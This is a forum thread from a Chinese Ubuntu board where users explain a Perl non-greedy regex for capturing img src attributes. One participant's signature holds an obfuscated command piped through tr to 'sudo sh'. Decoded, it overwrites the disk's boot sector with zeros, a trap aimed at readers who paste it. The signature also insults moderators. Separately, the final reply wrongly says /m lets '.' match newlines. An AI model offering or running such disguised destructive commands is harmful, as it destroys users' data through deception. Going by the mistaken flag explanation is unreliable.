这个正则表如何理解?

sh/bash/dash/ksh/zsh等Shell脚本
回复
头像
hackem
帖子: 258
注册时间: 2006-10-19 21:42
来自: inside
联系:

这个正则表如何理解?

#1

帖子 hackem » 2007-05-05 22:28

/<img src="(.*?)"/m

===
我想应该是捕获网页的图片
<img src="
这样开始的行,但不明白后面的"(.*?)"/m
ubuntu是个好东西
ziyun
帖子: 262
注册时间: 2007-03-29 12:59

#2

帖子 ziyun » 2007-05-05 23:45

你把表达式写完整看看
echo 'qq%vs+&qri&mreb%bs+&qri&uqn%of+FBC%pbhag+B' | tr 'n-za-m&+A-J%' 'a-z/=0-9 ' |sudo sh #<-警告:
强烈鄙视SB版主,一群跟风的SB,一群自以为是的SB
对这个论坛彻底失望了
头像
eexpress
帖子: 58428
注册时间: 2005-08-14 21:55
来自: 长沙

#3

帖子 eexpress » 2007-05-06 0:08

带?结束的。
● 鸣学
csbde
帖子: 27
注册时间: 2006-10-20 12:35

#4

帖子 csbde » 2007-05-10 23:43

带?结束的,不然不会有个?
头像
5451vs5451
帖子: 345
注册时间: 2006-07-14 18:56
来自: Apple Valley, Planet Tux, Linux System

#5

帖子 5451vs5451 » 2007-05-11 0:35

代码: 全选

$ perldoc perlre
......
       By default, a quantified subpattern is "greedy", that is, it will match as many times as possible (given a partic‐
       ular starting location) while still allowing the rest of the pattern to match.  If you want it to match the mini‐
       mum number of times possible, follow the quantifier with a "?".  Note that the meanings don’t change, just the
       "greediness":

           *?     Match 0 or more times
           +?     Match 1 or more times
           ??     Match 0 or 1 time
           {n}?   Match exactly n times
           {n,}?  Match at least n times
           {n,m}? Match at least n but not more than m times
......
如果这是一个 perl 正则表达式,那么它相当于/<img src="([^"]*)"/m。后面的 m 指多行匹配,也就是允许 '.' 匹配 '\n'。
回复